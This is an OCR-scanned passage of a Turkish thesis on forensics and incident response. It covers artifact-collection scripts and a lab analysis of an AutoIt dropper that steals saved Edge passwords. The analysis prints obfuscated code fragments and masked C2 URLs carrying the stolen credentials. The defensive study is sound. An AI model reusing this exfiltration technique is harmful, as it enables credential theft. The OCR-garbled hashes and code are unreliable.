olay miidahalesinde kullanilmamaktadir. Delil elde etme siireclerinde basvurulan ydntemler
islemlerin yavas yapilmasma ve tehdit unsurlarinin kaliciligmin artmasma sebep olmaktadir.
Dolayisiyla yapilmasi gereken en oOncelikli islem tiim sistem envanterinin c¢ikartilmast ve
sistemlerin hepsinin tekelden goriiniir hale getirilmesini saglamaktir. Goriiniirliik saglandiktan
sonra sistemler lizerinde bulunan kritik loglarin kural setlerinden gegirilerek aktif yetkisiz
islemlerin tespiti amaglanmaktadir [34].

Adli bilisim ve olay miidahalesi (DFIR), siber giivenlik olaylarini tanimlamaya, diizeltmeye ve
arastirmaya odaklanan 6zel bir alandir. DFIR, olaylarin tam ve ayrintili bir resmini ¢izmek i¢in adli
kanitlar1 toplamayi, korumayi, analiz etmeyi ve raporlandirmay1 kapsar. Ayni zamanda DFIR,
genellikle bir saldiriy1r kontrol altina almayi, durdurmayi, onlemeyi ve hasarlari minimuma
indirerek sistemleri eski haline ¢evirmeyi amaclar [35].

Olay miidahalesi siireglerinin isletilebilmesi i¢in kurum ve kuruluslarda bulunan tiim sistemlerin,
isletim sistemi ve platform bagimsiz olarak gerekli log kaynaklarinda istenilen loglarin merkezi
yoOnetim birimine aktarilmasi gereklidir [36].

Biitiin bu bilgiler sonucunda adli bilisim ve olay miidahalesi, saldirgan kisi veya gruplar tarafindan
ele gecirilmis sistemler iizerindeki zararlilarin tespitini, bu zararlilarin sisteme yerlesmesine imkéan
saglayan giivenlik aciklarinin belirlenmesini ve kapatilmasi igin gerekli yonergeyi saglar. Kurum
operasyonlarini hedef alan suglulara karsi savunma yapabilmek veya siber sigortalara kanit
saglamak i¢in ihtiya¢ duyulan verileri saglar [37].

Tek bir saldirinin bile ne kadar zarar verici olabilecegi diisliniildiiglinde, bir siber giivenlik olayma
nasil miidahale edilecegini, tiim yonleriyle nasil analiz ve raporlama yapilacagim bilmek cok

onemlidir [37].



Adli bilisim ve olay miidahale siireclerini agiklamak gerekirse,
DFIR, aktif bir siber giivenlik olayin1 durdurmaya ¢alisan ¢ok disiplinli bir dizi gorev ve siirectir.
Olay miidahale planlamasi, BT mimarisi dokiimantasyonu, playbook’larin gelistirilmesi gibi

stirecleri igerir [37].

3.1. Adli Bilisim

Adli bilisim, dijital teknolojiyi kapsayan adli bilimler altinda yer alan bir bilim daldir. Siber
giivenlik analistleri, dijital ortamlarda bulunan verilerin elde edilmesine, arastirilmasina ve
incelenmesine odaklanir. Adli bilisimin nihai amaci, bir saldirinin arkasindaki suclularin cezai
suclamalarla karst kargiya kalmasi durumunda siber suglarin kovusturulmasina yardimei olacak
kanitlar1 toplamak ve korumaktir [38].
Bir kurulusun adli bilisimle ilgilenmesinin genellikle dort ana nedeni vardir:

e Bir siber saldirinin gergeklesip gerceklesmedigini dogrulamak igin,

e Bir siber olaymn tam etkisinin tespiti i¢in,

e Siber saldirinin nedenini aragtirmak igin,

e Siber saldirinin gergeklestigini kanitlamak i¢in,

Herhangi bir adli sorusturmada oldugu gibi, 6zellikle bir saldir1 veya uzlasma devam ediyorsa hiz
cok onemlidir. Hizl1 hareket etmek, aktif bir siber olay1 durdurmaya yardimei olabilir. Aktif bir
bilgisayar, ag veya cihaz, bosta dururken bile siirekli olarak bir aragtirma i¢in ¢ok dnemli olabilecek
verileri iiretir. Adli vakalarda olaya hizli miidahale edilmezse bu verilerin silinmesi, iizerine

yazilmasi veya bagka bir sekilde degistirilmesi riski ortaya c¢ikar [38].

Adli bilisim, dijital delilleri toplamak ve korumak bir gézetim zinciri dogrultusunda kabul edilen

yontemdir. Ug temel adimdan olusur [38]:

Elde Etme: Bu adimda arastirmacilar, genellikle sabit diskin bir adli kopyasinin alinmasiyla veya
0zel adli bilisim inceleme yazilim araglar1 kullanarak s6z konusu ortamin tam bir kopyasini
olusturur. Orijinal ortam iizerinde, herhangi bir veri kaybini1 6nlemek i¢in ¢aligma yapilmaz.

Analiz: Adli bilisim uzmanlar1 elde etme asamasi sonrasinda ¢ogaltilan verileri veya teknolojiyi
analiz edip bir hipotezi destekleyen veya onunla celisen tiim kanitlar1 kaydeder. Bir olaydaki
verileri ve eylemleri yeniden yapilandirmak i¢in devam eden analizler yapilir ve ne oldugu,
bilgisayar korsanlarimin sistemleri nasil ele geg¢irdigi hakkinda sonuglara ulagsmalarina yardimci

olur.
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Raporlama: Bir adli bilisim arastirmasi tamamlandiginda, analistlerin ortaya gikardigi bulgular ve
sonuglar, teknik olmayan personelin anlayabilecegi bir raporda sunulur. Bu raporlar, sorusturmay1

yiiriitenlere iletilir.

NIST’e gore, gozetim zinciri; “Delilleri inceleyen her analist, tarihi/saati belgeleyerek elde etme,

koruma ve analiz yagsam dongiisli boyunca kanitin hareketini izleyen bir siirectir."

Bu dogrultuda tez ¢alismasi kapsaminda linux sistemler {izerinde manuel tekniklerle adli bilisim
calismasi gergeklestirilmistir. Calismanin ¢iktilar1 “3.2. Linux Sistemlerde Adli Bilisim Ornegi”

Bagliginda ac¢iklanmustir.

3.2. Linux Sistemlerde Adli Bilisim Ornegi

Linux sistemlerde manuel yontemlerle adli bilisim analizi yapilmasi amactyla "bash programlama”
dilinde asagida aciklamasi yapilan ara¢ gelistirilmistir. Gelistirilen aracin nasil ¢alistig1 ve hangi
verileri topladig1 agsagida agiklanmustir.

Bu ara¢ “bash programlama” dilinde yazilmigtir. Yontemin temel amaci Linux igletim sistemi
tizerinde yerlesik olarak gelistirilmis araglarin kullanarak sistem verilerini toplamaktir. Toplanan
verileri makine ismini de ekleyerek bir “zip” dosyasina kaydetmektedir. Uygulamayi ¢alistirmak
icin yonetici haklarma sahip olmak gereklidir. Uygulamanin temelini standart linux komutlar
olusturmaktadir.

Bu ¢alismanin katkilart asagidaki gibidir.

e Adlibilisim yazilimlar1 hem yiiksek maliyete sahiptirler hem de baz1 delilleri paket adli
bilisim yazilimlarryla elde etmek miimkiin degildir ¢iinkii her adli bilisim yazilimimin
kendine has 6zelligi vardir. Bu ¢calismada 6nerilen yontemle amaca yonelik adli bilisim
analizi yapabilecek script yazilmistir.

e Adli analiz yazilimlari genellikle yavas calisirlar (karmasikliklar1 yiiksek). Bu
calismada sunulan metotla diisiik karmasiklikta Linux sistemler i¢in adli analiz
yapilabilecektir.

e Bu caligmada operasyonel olarak kullanilabilecek bir analiz araci detayli bir sekilde
aciklanmigtir.

Uygulama temel olarak sistem komutlarini sirasiyla ¢aligtirip ¢iktilart bir konuma yazmaktadir.
Buradaki ¢iktilar adli bilisim agisindan énem arz eden verileri icermektedir. Bu ¢iktilar1 okuyan
analistler yasanan siber giivenlik vakasina ¢oziim iiretirler. Uygulamada calisan fonksiyonlara bir

ornek Tablo 3.1°de verilmistir.
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Tablo 3.1 Calisan Servislerin Tespiti I¢in Gerekli Fonksiyon

sozdekod servis tespiti()

{

if chkconfig -list &> //SLocation/IRCase 'chkconfig.txt'
else

chkconfig -1 &> //SLocation/IRCase 'chkconfig.txt'

cp -RH //etc//cron.allow /SLocation/IRCase 'cronallow.txt'
}

Geligtirilen ara¢ bu alanlardaki verilerin okunmasini saglamakta ve bir metin ¢iktisi
olusturmaktadir. Ayn1 zamanda bu dosyalarin 6zet fonksiyon degerlerinin de hesaplayarak veri
biitiinliigiinii de saglamaktadir. Bu islemi tek seferde ve hizlica yapmasi en temel kazanimidir.
Normal sartlarda bu verilerin elde edilebilmesi i¢in ya sisteme uzak baglant1 saglanarak tek tek
ilgili alanlardan verilerin okunmasi gerekir ya da sistemin imajinin alinmasi ve Boliim 3 ve
Boliim3.1°de bahsedilen tekniklerin kullanilmasi gerekmektedir. Bizim ydntemimiz sayesinde
buradaki lisans maliyeti ve zamandan kazanim saglanmaktadir. Tablo 3.2°de araca ait 6rnek
ciktilar gdsterilmistir.

Tablo 3.2 Ozet Fonksiyonlarmin Hesaplanmasi

1 H4fb107b2Sfe3f4d637df1b56445966332ccc56feez7ec633f849b3Sd663c3dd Jusr/bin/znew

2 0448424171fb583cfof6645de2efcfc66a53ffa31d6b802533a6e00355c75ee2  Jusr/bin/dpkg

3 eac9ecba762¢54dd50150d743414c4800a223a834951794849b5F451d08f1937 Jusr/bin/xsm

4 b52a1b162880dbas8af6eef90f9a80f9a6d10b8af41750e28ce78bboOb76050948 /usr/bin/gdb

5 a934cdb16433924d96a0edbe8S5b8bbo58fad9e51a7b7b66bcc74b0520227f39a /usr/bin/pkg-config

6 31ada®d1b8f1b182910d90d6f560f30166c1fefbo53f97b0b28da96236f78167 /[usr/bin/tzselect

7 c69f113a3eafff76af527f11533ba10a7focdcaaaboce47b696a06d51b60234d4 Jusr/bin/ptx

8 cbdfc9f8b4b58d645917138197bdf8a5e36541b6778aa0e395741d9e97e5220d /usr/bin/foo2zjs-pstops
9 e3ed27ec700fe277a48d137cdd39913c7141f4dde9074733f926eb2c8b4f2350 /usr/bin/who

Yapilan ¢aligmalar sonucunda dnerilen ¢6ziimiin adli bilisim ve olay miidahalesi siireglerinde katki
sagladigi gbzlemlenmistir. Kurumlarm bu ¢6ziim sayesinde olay miidahale siire¢lerini daha efektif
yonetebilecegi degerlendirilmektedir. Ayrica bu ¢déziim yontemi sektorde bu alanda calisan

arastirmacilar tarafindan da kullanildig1 ve basarili sonuglar elde edildigi gdzlemlenmistir.

3.3. Olay Miidahalesi Nedir?

Olay miidahalesi (IR), bir igletmenin siber giivenlik olayinin ortasindayken gergeklestirdigi bir dizi
faaliyettir. IR ’nin amaclar1 dogrultusunda, bir siber olay bilgi giivenliginin temel ilkeleri olan bilgi
gizliligini, biitlinliginii ve/veya kullanlabilirligini tehlikeye atan herhangi bir olay olarak

tanimlanabilir [39].

IR faaliyetleri genellikle, bir olayin genel hasarin1 azaltirken IT altyapisini miimkiin oldugunca

hizli bir sekilde yeniden kurmak ve calistirmak i¢in tasarlanmis bir IR plani tarafindan takip
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edilmesi gerekir. Bu cerceveler olaydan meydana gelebilecek hasar1 azaltma g¢abalarini
desteklemek icin tasarlanmigtir, ancak daha genis anlamda kuruluglarin siber olgunluk ve yeterlilik
olusturmasina da yardimci olur. Bu, savunmalarin gelistirilmesine, saldirilarin ve olaylarmn ilk

etapta isletmeleri etkilemesine yardimci olabilir [39,40].

Bir siber giivenlik saldirisi tarafindan hedef alinan igletmeler igin sistemlerin yeniden kullanilabilir
hale gelmesi en 6nemli endisedir, ancak tekrar ¢caligmaya baglamanin 6tesinde, bir olayin nasil ve

neden oldugunu anlamak da 6nemlidir [40].

DFIR uzmanlari, sistemlere kimin saldirdigini, nasil iceri girdigini, saldirganlarin sistemleri ele
gecirmek i¢in attiklar1 adimlart ve bu giivenlik agiklarini kapatmak i¢in neler yapabileceklerini
belirlemeye yonelik bilgileri toplar, denetler ve analiz eder. Bu bilgiler ayrica, tanimlanan
saldirganlara karsi yasal bir dava agilmasina yardimci olmak i¢in siklikla kullanilir. Bilgiler,
arastirmacilarin dijital kanitlar1 ortaya c¢ikarmasina ve korumasina yardimeci olan adli bilisim

stirecleri kullanilarak toplanir [41].

3.4. Manuel Bir Olay Miidahalesi Ornek Calismasi

Bu tez caligmasi kapsaminda kurulan laboratuvar ortaminda adli bilisim ve olay miidahalesi (DFIR)
stireglerini detayl1 agiklayabilmek icin bir batch script gelistirilmistir. Bu script sayesinde sektorde
var olan ve ilicretsiz kullanima sunulan 3 farkli ara¢ kullanilarak otomatik bir analiz siireci
isletilmesi hedeflenmistir. Bu araglardan ve analiz ettikleri sistem veri tabanlarindan kisaca
bahsetmek gerekirse;

Rawcopy: Windows sistemler {izerinde aktif olarak c¢alisan sistem dosyalarini sisteme zarar
vermeden ve son kullanici tarafindan miidahale edilemeyen dosyalarin kopyalanmasini saglar.
Rawcopy araci sayesinde agagida agiklanan sistem dosyalar1 gelistirilen script ile otomatize bir
sekilde elde edilmistir.

e MFT: Bir NT Dosya Sistemi (NTFS) birimindeki her dosya ve dizin hakkindaki bilgilerin
tutuldugu bir veritabanidir. Bu veritabani adli bilisim ve olay miidahalesi (DFIR)
stireclerine 6nemli seviyede katki saglamaktadir.

e Amcache: Windows igletim sistemlerinde ¢aligan programlarin tiim detaylarinin tutuldugu
veritabanidir. Buradan elde edilecek bilgiler DFIR siireglerine ¢ok oOnemli katki
saglamaktadir.

MFTCmd: Aciklanan MFT veritabanmi son kullanicilarin inceleyebilecegi sekilde anlamli hale

ceviren agik kaynak kullanima sunulan aragtir.
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Amcacheparser: Aciklanan Amcache veritabaninin son kullanicilarin inceleyebilecegi sekilde
anlamli hale ¢eviren agik kaynak kullanima sunulan aragtir.

Reg: Registry aracinin windows tarafindan gelistirilen komut satir1 aracidir. Bu ara¢ sayesinde
DFIR i¢in 6nemli veriler elde edilir.

Burada agiklanan bilgiler dogrultusunda gelistirilen Manuel DFIR analiz script’i Sekil 3.1°de

gosterilmigtir.

::batch script detaylari

@ECHO OFF

TIMEOUT /T 30

mkdir C:\YLcalisma\mft

START /WAIT C:\temp\get-artifact\RawCopy64.exe C:0 C:\YLcalisma\mft
mkdir C:\YLcalisma\Amcache

START /WAIT C:\temp\get-artifact\RawCopy64.exe
C:\Windows\appcompat \ Programs\Amcache.hve C:\YLcalisma\Amcache
START /WAIT C:\temp\get-artifact\RawCopy64.exe
C:\Windows\appcompat \ Programs\Amcache.hve.LOGl C:\YLcalisma\Amcache
START /WAIT C:\temp\get-artifact\RawCopy64.exe
C:\Windows\appcompat \ Programs\Amcache.hve.LOG2 C:\YLcalisma\Amcache
START /WAIT C:\temp\get-artifact\AmcacheParser.exe -1
"C:\YLcalisma\Amcache\Amcache.hve" --csv C:\YLcalisma\Amcache
TIMEOUT /T 30

START /WAIT C:\temp\get-artifact\MFTECmd.exe -If
"C:\YLcalisma\mft\SMFT" --csv "C:\YLcalisma\mft" --csvf mft.csv

systeminfo > C:\YLcalisma\sysinfo.thy

netstat -ano > C:\YLcalisma\connections.txt

reg query

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run >
C:\YLcalisma\runkeyl.txt

reg query

HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run >
C:\YLcalisma\runkeyZ2.txt

reg query

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
> C:\YLcalisma\runkey3.txt

sc queryex type=service state=all > C:\YLcalismalallservice.txt

powershell.exe Get-Service | Where-Object {$ .Status -eq "Running"}
> C:\YLcalisma\allservicepw. txt
type

Suserprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadlin
e\ConsoleHost history.txt > C:\YLcalisma\ch-hist.txt

Sekil 3.1 DFIR Analiz Scripti
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4. SALDIRI TURLERININ UYGULANMASI

Saldir tiirlerini simiile etmek amaciyla Windows ve Linux sistemlerin bulundugu bir sanal ortam
olusturulmustur. Bu ortam {izerinde ikinci boliimde bahsedilen ataklara 6rnek olmasi amaciyla bu

saldir tiirleri uygulanmistir. Ciktilar: bu baslik altinda sunulmustur.

4.1. Oltalama Saldiris1 Ornegi

Kuruluglarin En sik karsilastigi siber saldir1 teknigi olan oltalama saldirilarmi simiile etmek
amaciyla ve kullanici tarayicisi iizerindeki kayith parolalart calmayr hedefleyerek bu calisma
yapilmigtir. Bu dogrultuda legal bir kurulusun e-Posta adresi taklit edilerek sanal ortamda bulunan
kullanici cihazina e-Posta gonderilmistir. Senaryo geregi sanal ortamda olusturulan kullanici gelen
e-Postaya tikladiginda “discord” kanalindan zararli yazilim kullanici cihazina inmektedir. Burada
zararl yazilim agik bir ortam olan “discord” kanalina yiiklenerek oradan indirilmesi hedeflenmistir.
Kullanict indirilen zararhiy1r c¢alistirdiginda, kullanicinin tarayicisinda kayitli parola ve e-Posta
kutusunda kayith parolast web kanali tizerinden saldirganlarin daha 6nceden temin ettigi sisteme
gonderilmektedir. Burada bir ip adresi lizerinden dosya transfer protokolii kullanilarak buradaki

verilerin aktarilmasi hedeflenmistir. Gonderilen e-Posta maskelenerek Sekil 4.1°de sunulmustur.

ANILS A 7™ \ .
by L AC ~ -~y Yal’: -~ Py
- a N \I" : = ’ e o -

[EXTERNAL] e-dekont

Isleminizle ilgili detay ektedir

Sekil 4.1 Oltalama Amagli Gonderilen e-Posta

Sekil 4.1°de gosterilen e-Posta ekinde yer alan zararli dosya kullanici tarafindan agildiginda zararh
yazilim kullanicinin bilgisayarina kaydedilecektir ve otomatik olarak ¢alisacaktir. Burada
kullanilan zararli yazilim statik analizi “4.1. Zararh Yazilim Saldiris1 Ornegi” bashig altinda
agiklanmistir. Bu senaryonun olusturulma amaci oltalama saldirist etkilerini gostermektir. Burada
kalicilik saglayan zararli yazilimin 6nce analizi agiklanacak sonrada tespit icin YARA kurali

olusturulacaktir.



4.2. Zararh Yazilim Saldiris1 Ornegi

Zararli yazilim 32 bit olarak derlenmis ve windows ara yiiziine sahiptir. Uygulama igerisinde
“autoit” kodlar1 vardir. Autolt, Windows ara yiizii ve genel betikler icin gelistirilmis otomasyon
amaclh kullanilan bir “scripting” dilidir. Simiilasyonda kullanilan uygulamanin paketlenmemis
oldugunu goriiyoruz. Bu demektir ki zararli yazilimin analiz edilmesini zorlastirmak icin ve
decompile isleminin zorlastirilmasi i¢in kullanilan tekniklerin bu zararlida kullanilmadig1 anlamina
gelmektedir. Boyle bir zararli yazilimin incelenmesi ve analiz edilmesi daha kolaydir. Zararl
yazilimm sinift “dropper” olarak segilmistir. Dropper, bir kotii amagh yazilimi (viriis, arka kapi
vb.) hedef sisteme "yiiklemek" i¢in tasarlanmis bir tiir truva atidir. Kotii amagl yazilim kodu, viriis
tarayicilar1 tarafindan algilanmayacak sekilde tek agamali olarak tasarlanir, etkinlestirildikten sonra
kotii amagli yazilimi hedef makineye indirebilir. Bu bilgiler dogrultusunda Bolim 4.1°de

uygulanan saldirida kullanilan zararli yazilima ait detayl bilgiler Sekil 4.2°de gosterilmistir.

Fie: |dekont.himl.exe ' P =]

Entry Pont : |000268F7 E < BEPSechon: | text % |

é Fie Offset: |00025F7 FrstBytes : |E8.97.CF.00.0C 0 Plug
« Linker Info: 11.00 SubSystem : | windows GUI PE

FleSze: |00180200h < N Overlay:® INO 00000000 | ,— S

b4

=

X Image is 32bit executable RES/OVL:47 /0% 2021 =

Autoit3 [ v3.3. 13.xx ] Jonathan Bennett & Autolt Team (07.2014- 20} gcan /t Rip

Lamer Info - Help Hint - Unpack info =
try : Exe2Aut - Autolt3 decompier v0. 10 2014 by bnk htips: fexe2aut. & & >>

Sekil 4.2 Yiiriitiilebilir Dosyaya Ait Detay Bilgilerin Ogrenilmesi

Uygulama C++ dilinde derlenmis ve derlenme zamani 28 Temmuz 2021 olarak goriilmektedir.
Derlenme zamani kod gelistiricisi tarafindan kolayca degistirilebilecegi i¢in ¢ok fazla 6nem arz
etmemektedir. Pestudio araci kullanilarak zararli yazilima ait ¢ok fazla bilgiye ulasabiliriz. Pestudio

aracina ait ¢iktilar Sekil 4.3 te gosterilmistir.
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ai indicators (5/41)
P virustotal (44/67)
> dos-header (64 bytes)
B dos-stub (208 bytes)

> optional-header (GUI)
=) directories (6)

» sections (99.93%)

> libraries (7/18)

4| imports (count)
= "
~0
_:h resources (Autolt)
abe strings (size,
s
- EJ manifest (asinvoker)
~{13) version (4)

(]

> file-header (time-stamp

md3

shal

sha256
md5-without-overlay
shal-without-overlay
sha256-without-overlay
first-bytes-hex
first-bytes-text
file-size
size-without-overlay
entropy

imphash

signature

entry-point
file-version
description

file-type

cpu

subsystem
compiler-stamp
debugger-stamp
resources-stamp
exports-stamp

9785C9ADC202EDE2FC5216E905093FBF
Z1E7FABTAAO81A393676B7ACF401E4BF4BF29639
CA75D22F12250AC4F3B156569655F8A181E9EF10F 32BEFBSAG3AOF13773E810D

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B2 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00

1573376 (bytes)
7436

Microsoft Visual C++ 8
E897 CFO0O0E9 7FFEFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 575688 74 24 1

Sekil 4.3 Pestudio Aracina Ait Ekran Goriintiisii

Uygulamanin zararli oldugunu isaret edebilecek 41 gostergeden 5 tanesi bu uygulamada
eslesmistir. Bunlar arasinda virustotal sonuglari, uygulamanin kullandig: tespit edilen siipheli
kiitiiphaneler, “mitre framework” olarak isimlendirilen zararli yazilimlarin siniflandirmasi i¢in
kullanilan bir platformda yer alan taktiklerle eslesmelerin oldugu goriilmektedir. Bu bilgilere ait

detaylar Sekil 4.4’te gosterilmistir.

ad

<7 imports (count)

The file imports anonymous function(s)

<1 1430 Thefile references string(s) tagged as blacklist count: 209
¥1 vistont 4Ve7) 1269 Thefile references blacklist ibraryfies) ot 7
- :::i::a: g;::;’::) 1120 Thefileis scored by virustotal score: 44/67
B et e 1266 Thefile imports symbol(s) tagged as blacklist count: 180
optional-header (GU) 1525 Thefile contains another file type: Autolt, location: resources, offset: Ox000DAAOC
# directories (6) 1321 The time-stamp of the compiler is suspicious year: 2021
sections (99.93%) 1267 Thefile references a string with  suspicious size size: 5643 bytes
. lbraries (7/18) The file references MITRE Technique(s) count: 10

wwmuwwwwwwimm»\.—__ﬁ_

count: 49

1215 The file-ratio of the section(s) has been determined ratio: 99.93%
- 1229 The file signature has been detected signature: Microsoft Visual C++ 8
“h resources (Autolt) 1633 The file references string(s) tagged as hint type: file
abe strings (size] 1633 The file references string(s) tagged as hint type: size
113 1633 The file references string(s) tagged as hint type: utility
K manifest (aslnvoker) 1633 The file references string(s) tagged as hint type: keyboard-key
{19 version (4) 1633 The file references string(s) tagged as hint type: rti
- 1633 The file references string(s) tagged as hint type: registry
U 1633 The file references string(s) tagged as hint type: password
1633 The file references string(s) tagged as hint type: privilege

Uygulamanin  kullandig1

Sekil 4.4 Zararl1 Yazilim Inceleme Detaylar

stipheli kiitliphaneler

goriilmektedir.

“IsDebuggerPresent”

gibi

fonksiyonlarin ¢agrilmasiyla zararli yazilim debug edildigini anlayip kendisini sonlandirabilir. Bu

tiir yontemlere anti-debugging yontemleri denir. Bu bilgilere ait detaylar Sekil 4.5’te gosterilmistir.

21




name (516) group (17} MITRE-Technique (8) type (1) anonymous (49) blacklist (180) anti-debug (0} undocumented (0)  deprecated (21)  library (18)
execution T1497 implicit kernel32.dlI
file Ti124 implicit kermel32.dil
registry me implicit x advapi32.dil
registry iz implicit x advapi32.dil
registry T1112 implicit x advapi32.dil
execution 106 implicit x kernel32.dll
execution T1106 implicit ® advapi2.dil
execution T1106 implicit x advapil2.dil
execution T1106 implicit x chell32,dil
execution 11106 implicit x shell32.dlIl
dynamic-link-library Ti1C implicit kemel32.dll
dynamic-link-library T1106 implicit kemel32.dll
dynamic-link-library T1106 implicit kemel32.dIl
system-information T1082 implicit kemel32.dIl
system-infarmation Ti082 implicit kemel32.dII
execution 5 implicit x kernel32.dIl
execution implicit ] kemel32.dil
execution implicit x kemel32.dil
memory implicit x kernel32.d1l
registry implicit advapid.dil
registry implicit advapi32.dil

implicit user32.dil
implicit x wserd2dl
implicit X user32.dil
implicit userddil
implicit user32.di
implicit user32.dil
implicit x userd2.dil
implicit x user32dil
implicit x userd2.dil
implicit user32.dil
implicit % user32.dil
implicit x userd2.dil

Sekil 4.5 Fonksiyonlarin Mitre Framework Eslestirmesi

Uygulama igerisinde gegen string ifadeler de zararli yazilim hakkinda bilgi verir. Caligmaminizin
temelini olusturan Y ARA kurali olusturulmasindaki en 6nemli faktor zararh yazilim i¢cinde bulunan
ve o zararliya ait benzersiz string degerlerinin elde edilmesidir.

Burada kullandigimiz zararli yazilimin sertifikast bulunmamaktadir. Uygulama igerisinde gecen
string ifadelerden uygulamanin bazi proseslerini calistirdigi, registry degerlerinde degisiklik
yaptig, sistem hakkinda bilgi toplamaya calistigi goriilmektedir.

AutoltExtractor uygulamasimi kullanarak zararh icerisindeki kod blogu goriintiilenebilmektedir.
Burada ilgili uygulama kullanilarak zararlinin kodlar1 goriintiilenmistir. Zararli yazilimin analizi
zorlagtirilmak i¢in kod karmagiklastirma teknigi kullanilmistir. Bu teknik sayesinde degisken
isimleri ve degerler rastgele ifadelerle degistirilir ve inceleme yapan analistin zararli yazilimin
temel amaci 6grenmesi zorlagir. Burada kodlar karmasiklagtirildigi durumlarda zararli yazilim
analizi zaman alabilmektedir. Bu sebeple yapilan inceleme sonucunda; dosya olusturma, silme ve
dosyaya yazma islemlerinin yapildigi ancak anlasilmaktadir. Bu bilgilerin elde edildigi ekran

goriintlisi Sekil 4.6’da sunulmustur.
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Swepx0jedi = z2j18meS5y ("2
$s2zulng8d = 22j18meSy ("2
Sw5zg0rt7fz7z = @TempDir
Sr9lplrfdig8c = @ComSpec
$b7sy2ds3m = @SW_HIDE

so2jregd2dd5sv = z2j18meSy ("2

34F262867460F262¢

$j9aadhk4dms30, S$i3gsZhobq, Sy9btdsllivec9z,

; ©j9%aadhkd

Ss7qtljxigp3w = z2318meS5y ( 530", &j9aadhkd
Sd0mj3ggbo = z2j18meb5y("26 Sy9btdsllvec9z,
Se3sz7haZpr7u = z23118me5y ("2628 867534F262867542F¢

Sc9kb0zx8grlt i1
510nb3gf7ridz = 2

FileDelete($w5zgOrt7fz7z & z2j18meby("26286
FileWrite (Sw5zgOrt7fz7z & z2j1Bme5y("262

; $j7%aadhk4dms3o, $id
, $j9aadhkdms3o, $1i3c

Sekil 4.6 Zararli Kodlarin Analizi

Autoit ile elde edilen zararli yazilim kodunun icerisinde bir fonksiyon dikkat ¢cekmektedir.
Fonksiyonun igerisindeki bir degisken 4D5A ile baglamaktadir. Windows isletim sisteminde
yiiriitiillebilir her uygulama MZ olarak bilinen deger ile baglar. Zararli yazilimin igerisinde gomiilii
farkli bir ¢alistirilabilir dosyay1 ¢ikartmasi zararlinin “dropper” kategorisine ait oldugunu isaret
etmektedir. Dosya acildiginda en basta bulunan “MZ” ifadesi calistirilabilir dosyalar icin
kullanilmaktadir. Hexadecimal olarak karsiligi “4D5SA” ‘dir. Bu bulgunun ekran goriintiisii Sekil
4.7°de gosterilmistir.

EndFunc

sFunc m7rf0wy2q()
Global Sy9nh0iv9pnll = "0x"
Sy9nh0ivS9pnll 0
Sy9nh0iv9pnll
$y9nh0ivSpnll
Sy9nh0iv9pnll

[N 0 P W I o = M

Sekil 4.7 Calistirilabilir Dosyanin Tespit Edilmesi

“BinaryToString” fonksiyonu ile gémiilii ¢alistirilabilir dosya binary formatindan string formata
cevrilmektedir. Daha sonrasinda “%temp%? klasoriine dosyalar ¢ikarilmaktadir. Bu bulguya ait

ekran goriintiisii Sekil 4.8’de verilmistir.

ﬁeturn BinaryToString (Sy9nh0iv9pnll)

Sekil 4.8 BinaryToString Fonksiyonu Tespiti
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Uygulamay1 ¢alistirip RAM bellek iizerinde i¢erisinde gegen stringler analiz edildiginde bir domain

ismi dikkat ¢cekmektedir. Burada tespit edilen domain’e sistem {izerinden tespit edilen sifrelerin

yiiklendigi daha sonra anlagilacaktir. Bu domain legal olup halen kullanilmaktadir. Saldirganlar

amagclart dogrultusunda dikkat c¢ekmemek icin daha oOnceden ele gecirdikleri sistemleri

kullanmaktadir. Bu bilgi maskelenmistir. Bu bilgilere ait detaylar Sekil 4.9’da gosterilmistir.

B ' Results - dekont.html.exe (8856) - m] X
9.895 results.
Address Length Result N
OxcSbbed 24 S7QT1LX1QP3W
OxcSbbes 24 U3RN3UQ3QIR
0Oxc9be10 24 VZEX3VY7IQOE
0xcSoc60 24 M2.D IFWSTG6O
0xc9c600 B Name .com
0x¢c5c650 2 =====
0xc9c678 32 0000000000000000
0xcSc6d0 358 26286 7459F 26286 7459F 26286 7455F 26 286 7459F 26 286 7459F 26 286 7459F ...
0xc9c908 62 \??\C:\Windows \system32\cmd.exe
OxcSca70 62 OLEA6386EF 369995€20790946558207
Oxc9cab8 13 L=
| oxcocboo 62 \?2\C:\Windows \system32\omd. exe
0Oxc9cb90 13 =
OxcSchds 60 C:\Windows \SYSTEM32\WINNSI.DLL
0Oxc9cc20 62 OLEAS386EF 369999€20790946558207
Oxc9cch8 62 OLEA6386EF 369999E2D07909465582D07
Oxc9cch0 &0 C:\Windows\SYSTEM32\urimon.di
OxcScefd S8 Microsoft\Windows \INetCooldes
0x¢cScdss 62 OLEAG386EF 369999€20790946558207
0OxcScdd0 &0 C:\Windows\SYSTEM32\srvch.di
OxcScel8 60 C:\Windows\System32\borypt.di
0xc9d010 62 OLEAG386EF 369999€2D0790946558207
0x¢c5d0es 0 C:\Windows \SYSTEM32\DNSAPL.dI
0xc9d178 62 C:\Windows\SYSTEM32\profapi.di
0xcSd1c8 8 sers\muhem\AppData\Local <
Dreetrdane e LoV dmnetom e\ A ab b aoad
Filter Save... Copy

Sekil 4.9 Komuta Kontrol Merkezi Tespiti

Zararlinin “password” parametresiyle ilgili domaine baglanti kurdugu ge¢ici hafizada (memoryde)

goriilmektedir. Bu bilgiye ait detay Sekil 4.10°da gosterilmistir.

0x4094620
0x4094688
0x40946f0
0x40947c0
0x4094890

888

92
21

com/door fdb.php2and=/*\

(com/door /db.php2amd=)*(

com/door /db.php?amd =Password %20 %20 %20 %20 %20 %20 %20 %20 %20 %20: %20 AN -\
com/door /db.php?cmd =Password %20 %20 %20 %20 %20 %20 %20 %20 %20 %20: %20 T ~\
com/

Sekil 4.10 RAM Analizi

Asagidaki verilen Sekil 4.11°deki resimde de goriilebilecegi gibi zararl1 Microsof Edge tarayicisini

kayith parolalari tuttugu “\AppData\\Local\\Microsoft\Edge\\User Data\\Default\\Login Data\\”’

dosyasina erigsmektedir.
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http:-umgdwfdb‘m’cmd =Web%20Browser %20%20 %20 %20 %20 %20 %20: %20Chromium-Based % 20Edge /™
http: IR o door fdb. phplcmd =Web % 20Browser © 20%20%2
r-Agent: AutoltHost: M Cache -Control: no-cache
